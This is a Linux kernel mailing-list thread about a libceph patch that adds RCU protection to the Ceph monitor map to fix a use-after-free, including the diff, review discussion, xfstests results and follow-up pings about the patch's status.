(data_pool);send_generic_request (monc, req);@@ -975,6 +987,7 @@ static __printf(2, 0)int do_mon_command_vargs (struct ceph_mon_client *monc,const char *fmt,va_list ap) { +struct ceph_monmap *monmap;struct ceph_mon_generic_request *req;struct ceph_mon_command *h;int ret = -ENOMEM ;@@ -999,7 +1012,9 @@ int do_mon_command_vargs(struct ceph_mon_client *monc, const char *fmt, h->monhdr.have_version =0 ; h->monhdr.session_mon =cpu_to_le16 (-1 ); h->monhdr.session_mon_tid =0 ; - h->fsid = monc->monmap->fsid; + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); + h->fsid = monmap->fsid; h->num_strs =cpu_to_le32 (1 ); len =vsprintf (h->str, fmt, ap); h->str_len =cpu_to_le32 (len);@@ -1138,17 +1153,18 @@ static int build_initial_monmap(struct ceph_mon_client *monc)__le32 my_type =ceph_msgr2 (monc->client) ?CEPH_ENTITY_ADDR_TYPE_MSGR2 :CEPH_ENTITY_ADDR_TYPE_LEGACY ;struct ceph_options *opt = monc->client->options; +struct ceph_monmap *monmap;int num_mon = opt->num_mon;int i;/* build initial monmap */ - monc->monmap =kzalloc_flex (*monc->monmap, mon_inst, num_mon); -if (!monc->monmap) + monmap =kzalloc_flex (*monmap, mon_inst, num_mon); +if (!monmap)return -ENOMEM ; - monc->monmap->num_mon = num_mon; + monmap->num_mon = num_mon;for (i =0 ; i < num_mon; i++) { -struct ceph_entity_inst *inst = &monc->monmap->mon_inst[i]; +struct ceph_entity_inst *inst = &monmap->mon_inst[i];memcpy (&inst->addr.in_addr, &opt->mon_addr[i].in_addr,sizeof (inst->addr.in_addr));@@ -1157,6 +1173,7 @@ static int build_initial_monmap(struct ceph_mon_client *monc) inst->name.type =CEPH_ENTITY_TYPE_MON ; inst->name.num =cpu_to_le64 (i); } +RCU_INIT_POINTER (monc->monmap, monmap);return 0 ; }@@ -1232,7 +1249,7 @@ int ceph_monc_init(struct ceph_mon_client *monc, struct ceph_client *cl) out_auth:ceph_auth_destroy (monc->auth); out_monmap: -kfree (monc->monmap); +kfree (rcu_access_pointer (monc->monmap)); out:return err; }@@ -1267,7 +1284,7 @@ void ceph_monc_stop(struct ceph_mon_client *monc)ceph_msg_put (monc->m_subscribe);ceph_msg_put (monc->m_subscribe_ack); -kfree (monc->monmap); +kfree_rcu (rcu_access_pointer (monc->monmap), rcu); }EXPORT_SYMBOL (ceph_monc_stop);
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 18 lines · Viacheslav Dubeyko
Quoted 17 lines · Ren Wei
From: Yong Wang <[email protected]>
ceph_compare_options()checks whether a new mount shares any monitor address with an existing client by walkingclient->monc.monmapviaceph_monmap_contains(). That comparison can run undersb_lockorrbd_client_list_lock, so it cannot takemonc->mutex.Meanwhile, monmap update handling replaces
monc->monmapundermonc->mutexand frees the old map immediately. A concurrent shared- mount comparison can therefore dereference a freed monmap and walk stale mon_inst[] entries, triggering a use-after-free.Protect the compare path with RCU and publish/free monitor maps with
rcu_assign_pointer()andkfree_rcu(). Annotatemonc->monmapas an RCU pointer and usercu_dereference_protected()in mutex-protected paths to keep the accesses consistent with the new pointer contract.
Quoted 5 lines
Quoted 2 lines
This keeps the existing non-blocking comparison semantics while ensuring that replaced monmaps remain alive until readers are done.
The approach makes sense to me. However, I have some concern. If the replaced monmap(s) could be in use with newly allocated one(s), then are we safe here?
The new monmap is fully allocated and initialized before publication, then installed with rcu_assign_pointer() under monc->mutex. Readers only dereference an RCU snapshot and treat the monmap as immutable, while the replaced monmap is freed with kfree_rcu(), which means the old map is not reclaimed immediately, but is delayed until all readers that are still accessing it have exited the read-side critical section.Readers only see either the old map or the new map.
So it is safe to use.
Quoted 1 line
Have you tried to run xfstests for the patch?
I ran the ceph xfstests in QEMU on the patched kernel, and all ceph- specific tests in the current tree passed: ceph/001-006.
Quoted 327 lines
Thanks,
Slava.Quoted 324 lines
Fixes 4e7a5dcd1bbab ("ceph: negotiate authentication protocol; implement AUTH_NONE protocol")Reported-by Yuan Tan <[email protected]>Reported-by Xin Liu <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Yong Wang <[email protected]>Reviewed-by Ren Wei <[email protected]>--- fs/ceph/super.c | 7 +++-- include/linux/ceph/mon_client.h | 4 ++- net/ceph/ceph_common.c | 21 ++++++++++---- net/ceph/debugfs.c | 11 ++++--- net/ceph/mon_client.c | 51 ++++++++++++++++++++++----------- 5 files changed, 65 insertions(+), 29 deletions(-)fs/ceph/super.c +5
-2@@ -60,6 +60,7 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf) {struct ceph_fs_client *fsc =ceph_inode_to_fs_client (d_inode (dentry));struct ceph_mon_client *monc = &fsc->client->monc; +struct ceph_monmap *monmap;struct ceph_statfs st;int i, err;u64 data_pool;@@ -111,8 +112,10 @@ static int ceph_statfs(struct dentry *dentry, struct kstatfs *buf)/* Must convert the fsid, for consistent values across arches */ buf->f_fsid.val[0 ] =0 ;mutex_lock (&monc->mutex); -for (i =0 ; i <sizeof (monc->monmap->fsid) /sizeof (__le32) ; ++i) - buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monc->monmap->fsid)[i]); + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); +for (i =0 ; i <sizeof (monmap->fsid) /sizeof (__le32) ; ++i) + buf->f_fsid.val[0 ] ^=le32_to_cpu (((__le32 *)&monmap->fsid)[i]);mutex_unlock (&monc->mutex);/* fold the fs_cluster_id into the upper bits */ include/linux/ceph/mon_client.h +3
-1@@ -4,6 +4,7 @@#include <linux/completion.h> #include <linux/kref.h> +#include <linux/rcupdate.h> #include <linux/rbtree.h> #include <linux/ceph/messenger.h> @@ -19,6 +20,7 @@ struct ceph_monmap {struct ceph_fsid fsid;u32 epoch;u32 num_mon; +struct rcu_head rcu; struct ceph_entity_inst mon_inst[] __counted_by(num_mon); };@@ -69,7 +71,7 @@ struct ceph_mon_generic_request {struct ceph_mon_client {struct ceph_client *client; -struct ceph_monmap *monmap; +struct ceph_monmap __rcu *monmap;struct mutex mutex;struct delayed_work delayed_work;net/ceph/ceph_common.c +16
-5@@ -133,6 +133,7 @@ int ceph_compare_options(struct ceph_options *new_opt, {struct ceph_options *opt1 = new_opt;struct ceph_options *opt2 = client->options; +struct ceph_monmap *monmap;int ofs = offsetof(struct ceph_options , mon_addr);int i;int ret;@@ -180,13 +181,20 @@ int ceph_compare_options(struct ceph_options *new_opt,if (ret)return ret; +rcu_read_lock (); + monmap =rcu_dereference (client->monc.monmap); + ret =-1 ; +/* any matching mon ip implies a match */ for (i =0 ; i < opt1->num_mon; i++) { -if (ceph_monmap_contains (client->monc.monmap, - &opt1->mon_addr[i])) -return 0 ; +if (ceph_monmap_contains (monmap, &opt1->mon_addr[i])) { + ret =0 ; +break ; + } } -return -1 ; + +rcu_read_unlock (); +return ret; }EXPORT_SYMBOL (ceph_compare_options);@@ -791,6 +799,7 @@ int __ceph_open_session(struct ceph_client *client) {DEFINE_WAIT_FUNC (wait, woken_wake_function);long timeout =ceph_timeout_jiffies (client->options->mount_timeout); +struct ceph_monmap *monmap;bool have_monmap, have_osdmap;int err;@@ -803,7 +812,9 @@ int __ceph_open_session(struct ceph_client *client)for (;;) {mutex_lock (&client->monc.mutex); err = client->auth_err; - have_monmap = client->monc.monmap && client->monc.monmap->epoch; + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); + have_monmap = monmap && monmap->epoch;mutex_unlock (&client->monc.mutex);down_read (&client->osdc.lock);net/ceph/debugfs.c +7
-4@@ -35,15 +35,18 @@ static int monmap_show(struct seq_file *s, void *p) {int i;struct ceph_client *client = s->private; +struct ceph_monmap *monmap;mutex_lock (&client->monc.mutex); -if (client->monc.monmap ==NULL ) + monmap =rcu_dereference_protected (client->monc.monmap, +lockdep_is_held (&client->monc.mutex)); +if (!monmap) goto out_unlock; -seq_printf (s,"epoch %d\n" , client->monc.monmap->epoch); -for (i =0 ; i < client->monc.monmap->num_mon; i++) { +seq_printf (s,"epoch %d\n" , monmap->epoch); +for (i =0 ; i < monmap->num_mon; i++) {struct ceph_entity_inst *inst = - &client->monc.monmap->mon_inst[i]; + &monmap->mon_inst[i]; seq_printf(s, "\t%s%lld\t%s\n", ENTITY_NAME(inst->name),net/ceph/mon_client.c +34
-17@@ -206,19 +206,22 @@ static void __close_session(struct ceph_mon_client *monc)*/ static void pick_new_mon (struct ceph_mon_client *monc) { +struct ceph_monmap *monmap = +rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex));int old_mon = monc->cur_mon; -BUG_ON (monc->monmap->num_mon <1 ); +BUG_ON (monmap->num_mon <1 ); -if (monc->monmap->num_mon ==1 ) { +if (monmap->num_mon ==1 ) { monc->cur_mon =0 ; }else { -int max = monc->monmap->num_mon; +int max = monmap->num_mon;int o =-1 ;int n;if (monc->cur_mon >=0 ) { -if (monc->cur_mon < monc->monmap->num_mon) +if (monc->cur_mon < monmap->num_mon) o = monc->cur_mon;if (o >=0 ) max--;@@ -232,7 +235,7 @@ static void pick_new_mon(struct ceph_mon_client *monc) }dout ("%s mon%d -> mon%d out of %d mons\n" , __func__, old_mon, - monc->cur_mon, monc->monmap->num_mon); + monc->cur_mon, monmap->num_mon); }/* @@ -240,6 +243,9 @@ static void pick_new_mon(struct ceph_mon_client *monc)*/ static void __open_session (struct ceph_mon_client *monc) { +struct ceph_monmap *monmap = +rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex));int ret;pick_new_mon (monc);@@ -256,7 +262,7 @@ static void __open_session(struct ceph_mon_client *monc)dout ("%s opening mon%d\n" , __func__, monc->cur_mon);ceph_con_open (&monc->con,CEPH_ENTITY_TYPE_MON , monc->cur_mon, - &monc->monmap->mon_inst[monc->cur_mon].addr); + &monmap->mon_inst[monc->cur_mon].addr);/* * Queue a keepalive to ensure that in case of an early fault @@ -542,6 +548,7 @@ static void ceph_monc_handle_map(struct ceph_mon_client *monc, struct ceph_msg *msg) {struct ceph_client *client = monc->client; +struct ceph_monmap *old_monmap;struct ceph_monmap *monmap;void *p, *end;@@ -564,10 +571,12 @@ static void ceph_monc_handle_map(struct ceph_mon_client *monc, goto out; } -kfree (monc->monmap); - monc->monmap = monmap; + old_monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); +rcu_assign_pointer (monc->monmap, monmap); +kfree_rcu (old_monmap, rcu); -__ceph_monc_got_map (monc,CEPH_SUB_MONMAP , monc->monmap->epoch); +__ceph_monc_got_map (monc,CEPH_SUB_MONMAP , monmap->epoch); client->have_fsid = true; out:@@ -775,6 +784,7 @@ static void handle_statfs_reply(struct ceph_mon_client *monc,int ceph_monc_do_statfs (struct ceph_mon_client *monc,u64 data_pool,struct ceph_statfs *buf) { +struct ceph_monmap *monmap;struct ceph_mon_generic_request *req;struct ceph_mon_statfs *h;int ret = -ENOMEM ;@@ -802,7 +812,9 @@ int ceph_monc_do_statfs(struct ceph_mon_client *monc, u64 data_pool, h->monhdr.have_version =0 ; h->monhdr.session_mon =cpu_to_le16 (-1 ); h->monhdr.session_mon_tid =0 ; - h->fsid = monc->monmap->fsid; + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); + h->fsid = monmap->fsid; h->contains_data_pool = (data_pool !=CEPH_NOPOOL ); h->data_pool =cpu_to_le64 (data_pool);send_generic_request (monc, req);@@ -975,6 +987,7 @@ static __printf(2, 0)int do_mon_command_vargs (struct ceph_mon_client *monc,const char *fmt,va_list ap) { +struct ceph_monmap *monmap;struct ceph_mon_generic_request *req;struct ceph_mon_command *h;int ret = -ENOMEM ;@@ -999,7 +1012,9 @@ int do_mon_command_vargs(struct ceph_mon_client *monc, const char *fmt, h->monhdr.have_version =0 ; h->monhdr.session_mon =cpu_to_le16 (-1 ); h->monhdr.session_mon_tid =0 ; - h->fsid = monc->monmap->fsid; + monmap =rcu_dereference_protected (monc->monmap, +lockdep_is_held (&monc->mutex)); + h->fsid = monmap->fsid; h->num_strs =cpu_to_le32 (1 ); len =vsprintf (h->str, fmt, ap); h->str_len =cpu_to_le32 (len);@@ -1138,17 +1153,18 @@ static int build_initial_monmap(struct ceph_mon_client *monc)__le32 my_type =ceph_msgr2 (monc->client) ?CEPH_ENTITY_ADDR_TYPE_MSGR2 :CEPH_ENTITY_ADDR_TYPE_LEGACY ;struct ceph_options *opt = monc->client->options; +struct ceph_monmap *monmap;int num_mon = opt->num_mon;int i;/* build initial monmap */ - monc->monmap =kzalloc_flex (*monc->monmap, mon_inst, num_mon); -if (!monc->monmap) + monmap =kzalloc_flex (*monmap, mon_inst, num_mon); +if (!monmap)return -ENOMEM ; - monc->monmap->num_mon = num_mon; + monmap->num_mon = num_mon;for (i =0 ; i < num_mon; i++) { -struct ceph_entity_inst *inst = &monc->monmap->mon_inst[i]; +struct ceph_entity_inst *inst = &monmap->mon_inst[i];memcpy (&inst->addr.in_addr, &opt->mon_addr[i].in_addr,sizeof (inst->addr.in_addr));@@ -1157,6 +1173,7 @@ static int build_initial_monmap(struct ceph_mon_client *monc) inst->name.type =CEPH_ENTITY_TYPE_MON ; inst->name.num =cpu_to_le64 (i); } +RCU_INIT_POINTER (monc->monmap, monmap);return 0 ; }@@ -1232,7 +1249,7 @@ int ceph_monc_init(struct ceph_mon_client *monc, struct ceph_client *cl) out_auth:ceph_auth_destroy (monc->auth); out_monmap: -kfree (monc->monmap); +kfree (rcu_access_pointer (monc->monmap)); out:return err; }@@ -1267,7 +1284,7 @@ void ceph_monc_stop(struct ceph_mon_client *monc)ceph_msg_put (monc->m_subscribe);ceph_msg_put (monc->m_subscribe_ack); -kfree (monc->monmap); +kfree_rcu (rcu_access_pointer (monc->monmap), rcu); }EXPORT_SYMBOL (ceph_monc_stop);
RE: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 33 lines · Yong Wang
Quoted 18 lines · Viacheslav Dubeyko
Quoted 17 lines · Ren Wei
From: Yong Wang <[email protected]>
ceph_compare_options()checks whether a new mount shares any monitor address with an existing client by walkingclient->monc.monmapviaceph_monmap_contains(). That comparison can run undersb_lockorrbd_client_list_lock, so it cannot takemonc->mutex.Meanwhile, monmap update handling replaces
monc->monmapundermonc->mutexand frees the old map immediately. A concurrent shared- mount comparison can therefore dereference a freed monmap and walk stale mon_inst[] entries, triggering a use-after-free.Protect the compare path with RCU and publish/free monitor maps with
rcu_assign_pointer()andkfree_rcu(). Annotatemonc->monmapas an RCU pointer and usercu_dereference_protected()in mutex-protected paths to keep the accesses consistent with the new pointer contract.Quoted 5 lines
Quoted 2 lines
This keeps the existing non-blocking comparison semantics while ensuring that replaced monmaps remain alive until readers are done.
The approach makes sense to me. However, I have some concern. If the replaced monmap(s) could be in use with newly allocated one(s), then are we safe here?
The new monmap is fully allocated and initialized before publication, then installed with
rcu_assign_pointer()undermonc->mutex. Readers only dereference an RCU snapshot and treat the monmap as immutable, while the replaced monmap is freed withkfree_rcu(), which means the old map is not reclaimed immediately, but is delayed until all readers that are still accessing it have exited the read-side critical section.Readers only see either the old map or the new map.
Quoted 8 lines
So it is safe to use.
Quoted 1 line
Have you tried to run xfstests for the patch?
I ran the ceph xfstests in QEMU on the patched kernel, and all ceph- specific tests in the current tree passed: ceph/001-006.
The running only Ceph specific test-cases is not enough. The patch should survive the auto group of xfstests.
Thanks,
Slava.
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 38 lines · Viacheslav Dubeyko
Quoted 37 lines · Yong Wang
Quoted 18 lines · Viacheslav Dubeyko
Quoted 17 lines · Ren Wei
From: Yong Wang <[email protected]>
ceph_compare_options()checks whether a new mount shares any monitor address with an existing client by walkingclient->monc.monmapviaceph_monmap_contains(). That comparison can run undersb_lockorrbd_client_list_lock, so it cannot takemonc->mutex.Meanwhile, monmap update handling replaces
monc->monmapundermonc->mutexand frees the old map immediately. A concurrent shared- mount comparison can therefore dereference a freed monmap and walk stale mon_inst[] entries, triggering a use-after-free.Protect the compare path with RCU and publish/free monitor maps with
rcu_assign_pointer()andkfree_rcu(). Annotatemonc->monmapas an RCU pointer and usercu_dereference_protected()in mutex-protected paths to keep the accesses consistent with the new pointer contract.Quoted 5 lines
Quoted 2 lines
This keeps the existing non-blocking comparison semantics while ensuring that replaced monmaps remain alive until readers are done.
The approach makes sense to me. However, I have some concern. If the replaced monmap(s) could be in use with newly allocated one(s), then are we safe here?
The new monmap is fully allocated and initialized before publication, then installed with
rcu_assign_pointer()undermonc->mutex. Readers only dereference an RCU snapshot and treat the monmap as immutable, while the replaced monmap is freed withkfree_rcu(), which means the old map is not reclaimed immediately, but is delayed until all readers that are still accessing it have exited the read-side critical section.Readers only see either the old map or the new map.So it is safe to use.
Quoted 1 line
Have you tried to run xfstests for the patch?
Quoted 8 lines
Quoted 4 lines
I ran the ceph xfstests in QEMU on the patched kernel, and all ceph- specific tests in the current tree passed: ceph/001-006.
The running only Ceph specific test-cases is not enough. The patch should survive the auto group of xfstests.
I reran the tests on a baseline kernel before the RCU patch.
Excluding the notrun cases, the following tests failed both before and after the patch:
- generic/363: fsx reported READ BAD DATA
- generic/429: encrypted dentry/key revalidation behavior did not match expectations
- generic/440: encrypted name/key cache consistency behavior did not match expectations
- generic/580: encrypted files became inaccessible after key removal/re-addition
- generic/593: filesystem-level/provisioning-key encryption flow failed
- generic/595: encrypted file remained inaccessible after key eviction/re-addition
- generic/631: overlayfs-on-Ceph scratch mount path failed
generic/650 and generic/777 could not be completed reliably in my local environment because they caused the terminal to become unresponsive, so I do not have a meaningful before/after comparison for them.
So from this comparison, I do not have evidence that the above failures were introduced by the RCU patch.
Kernel(net) commit tested before the patch:
6d27e29a90bc6a717b97c6ddcd866db7bd8e4adc
xfstests commit:
ffc8bad17e5b2f56e48dbac43f7c5ae8ac368fe5
Best regards,
Yong
Quoted 2 lines
Thanks,
Slava.
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 98 lines · Yong Wang
Quoted 63 lines · Viacheslav Dubeyko
Quoted 52 lines · Yong Wang
Quoted 32 lines · Viacheslav Dubeyko
Quoted 26 lines · Ren Wei
From: Yong Wang <[email protected]>
ceph_compare_options()checks whether a new mount shares any monitor
address with an existing client by walking client-Quoted 1 line
monc.monmap via
ceph_monmap_contains(). That comparison can run under
sb_lockorrbd_client_list_lock, so it cannot takemonc->mutex.Meanwhile, monmap update handling replaces
monc->monmapundermonc->mutexand frees the old map immediately. A concurrent shared-
mount comparison can therefore dereference a freed monmap and walk
stale mon_inst[] entries, triggering a use-after-free.Protect the compare path with RCU and publish/free monitor maps with
rcu_assign_pointer()and kfree_rcu(). Annotatemonc->monmapas an
RCU pointer and usercu_dereference_protected()in mutex- protected
paths to keep the accesses consistent with the new pointer contract.Quoted 4 lines
This keeps the existing non-blocking comparison semantics while
ensuring that replaced monmaps remain alive until readers are done.Quoted 4 lines
The approach makes sense to me. However, I have some concern. If the replaced
monmap(s) could be in use with newly allocated one(s), then are we safe here?The new monmap is fully allocated and initialized before publication, then
installed withrcu_assign_pointer()undermonc->mutex. Readers only dereference
an RCU snapshot and treat the monmap as immutable, while the replaced monmap is
freed withkfree_rcu(), which means the old map is not reclaimed immediately,
but is delayed until all readers that are still accessing it have exited the
read-side critical section.Readers only see either the old map or the new map.Quoted 9 lines
So it is safe to use.
Quoted 1 line
Have you tried to run xfstests for the patch?
I ran the ceph xfstests in QEMU on the patched kernel, and all ceph-
specific tests in the current tree passed: ceph/001-006.Quoted 4 lines
The running only Ceph specific test-cases is not enough. The patch should
survive the auto group of xfstests.I reran the tests on a baseline kernel before the RCU patch.
Excluding the notrun cases, the following tests failed both before and after the patch:
- generic/363: fsx reported READ BAD DATA
- generic/429: encrypted dentry/key revalidation behavior did not match expectations
- generic/440: encrypted name/key cache consistency behavior did not match expectations
- generic/580: encrypted files became inaccessible after key removal/re-addition
- generic/593: filesystem-level/provisioning-key encryption flow failed
- generic/595: encrypted file remained inaccessible after key eviction/re-addition
- generic/631: overlayfs-on-Ceph scratch mount path failedgeneric/650 and generic/777 could not be completed reliably in my local environment because
they caused the terminal to become unresponsive, so I do not have a meaningful
before/after comparison for them.So from this comparison, I do not have evidence that the above failures were introduced
by the RCU patch.
Quoted 7 lines
Kernel(net) commit tested before the patch:
6d27e29a90bc6a717b97c6ddcd866db7bd8e4adcxfstests commit:
ffc8bad17e5b2f56e48dbac43f7c5ae8ac368fe5
It's interesting that you can reproduce more failures that I can reproduce in my environment. :) Usually, I can see around 3 failed xfstests. I've already shared fixes for several ones. But my fixes haven't been accepted. We still need to fix some xfstests failures. :)
The patch makes sense to me and it looks good.
Thanks,
Slava.
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 52 lines · Viacheslav Dubeyko
Quoted 40 lines
Quoted 12 lines
Quoted 8 lines
So it is safe to use.
Quoted 1 line
Have you tried to run xfstests for the patch?
I ran the ceph xfstests in QEMU on the patched kernel, and all ceph-
specific tests in the current tree passed: ceph/001-006.The running only Ceph specific test-cases is not enough. The patch should
survive the auto group of xfstests.I reran the tests on a baseline kernel before the RCU patch.
Excluding the notrun cases, the following tests failed both before and after the patch:
- generic/363: fsx reported READ BAD DATA
- generic/429: encrypted dentry/key revalidation behavior did not match expectations
- generic/440: encrypted name/key cache consistency behavior did not match expectations
- generic/580: encrypted files became inaccessible after key removal/re-addition
- generic/593: filesystem-level/provisioning-key encryption flow failed
- generic/595: encrypted file remained inaccessible after key eviction/re-addition
- generic/631: overlayfs-on-Ceph scratch mount path failedgeneric/650 and generic/777 could not be completed reliably in my local environment because
they caused the terminal to become unresponsive, so I do not have a meaningful
before/after comparison for them.So from this comparison, I do not have evidence that the above failures were introduced
by the RCU patch.Quoted 7 lines
Kernel(net) commit tested before the patch:
6d27e29a90bc6a717b97c6ddcd866db7bd8e4adcxfstests commit:
ffc8bad17e5b2f56e48dbac43f7c5ae8ac368fe5It's interesting that you can reproduce more failures that I can reproduce in my environment. 🙂 Usually, I can see around 3 failed xfstests. I've already shared fixes for several ones. But my fixes haven't been accepted. We still need to fix some xfstests failures. 🙂
Quoted 6 lines
The patch makes sense to me and it looks good.
Reviewed-by Viacheslav Dubeyko <[email protected]>Thanks,
Slava.
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely check whether there has been any progress on it, or if there is anything more I should do on my side to help move it forward.
Best regards,
Yong
Viacheslav Dubeyko
maintainerRe: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Hi Yong,
Quoted 2 lines · Yong Wang
<skipped>
Quoted 10 lines
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely
check whether there has been any progress on it, or if there is anything
more I should do on my side to help move it forward.
Ilya sends patches upstream. So, please, ping the Ilya.
Thanks,
Slava.
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 19 lines · Viacheslav Dubeyko
Hi Yong,
Quoted 2 lines · Yong Wang
<skipped>
Quoted 10 lines
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely
check whether there has been any progress on it, or if there is anything
more I should do on my side to help move it forward.
Quoted 4 lines
Ilya sends patches upstream. So, please, ping the Ilya.
Thanks,
Slava.
Hi Ilya,
Following Slava's suggestion, I'm pinging you about this patch:
[PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
I just wanted to ask about the current status of this patch. Please let me know if there is anything more I should do on my side to help move it forward.
Thanks,
Yong
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
In reply to Viacheslav DubeykoQuoted 19 lines · Viacheslav Dubeyko
Hi Yong,
Quoted 2 lines · Yong Wang
<skipped>
Quoted 10 lines
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely
check whether there has been any progress on it, or if there is anything
more I should do on my side to help move it forward.
Quoted 4 lines
Ilya sends patches upstream. So, please, ping the Ilya.
Thanks,
Slava.
Hi Ilya,
Following Slava's suggestion, I'm pinging you about this patch:
[PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
I just wanted to ask about the current status of this patch. Please let me know if there is anything more I should do on my side to help move it forward.
Thanks,
Yong
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
In reply to Viacheslav DubeykoQuoted 19 lines · Viacheslav Dubeyko
Hi Yong,
Quoted 2 lines · Yong Wang
<skipped>
Quoted 10 lines
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely
check whether there has been any progress on it, or if there is anything
more I should do on my side to help move it forward.
Quoted 4 lines
Ilya sends patches upstream. So, please, ping the Ilya.
Thanks,
Slava.
Hi Ilya,
Following Slava's suggestion, I'm pinging you about this patch:
[PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
I just wanted to ask about the current status of this patch. Please let me know if there is anything more I should do on my side to help move it forward.
Thanks,
Yong
Re: [PATCH 1/1] libceph: use RCU to protect monmap in ceph_compare_options()
Quoted 31 lines · Yong Wang
Quoted 19 lines · Viacheslav Dubeyko
Hi Yong,
Quoted 2 lines · Yong Wang
<skipped>
Quoted 10 lines
Hi Slava,
Thank you for your review.
This patch has been sitting for quite a while, so I wanted to politely
check whether there has been any progress on it, or if there is anything
more I should do on my side to help move it forward.Quoted 4 lines
Ilya sends patches upstream. So, please, ping the Ilya.
Thanks,
Slava.Hi Ilya,
Following Slava's suggestion, I'm pinging you about this patch:
Quoted 9 lines
[PATCH 1/1] libceph: use RCU to protect monmap in
ceph_compare_options()I just wanted to ask about the current status of this patch. Please let me know if there is anything more I should do on my side to help move it forward.
Thanks,
Yong
Please do not send the same email multiple times, as this creates unnecessary noise in the mailbox.
I suspect you may have encountered some delivery failure issues. It is possible that one or two recipients’ email addresses have been deactivated, causing the emails to bounce. Please simply ignore those delivery failures.
I will also emphasize this in our internal documentation so everyone in our team is aware.
To others, sorry for the noise. Some of our volunteers are not very familiar with how to use email properly.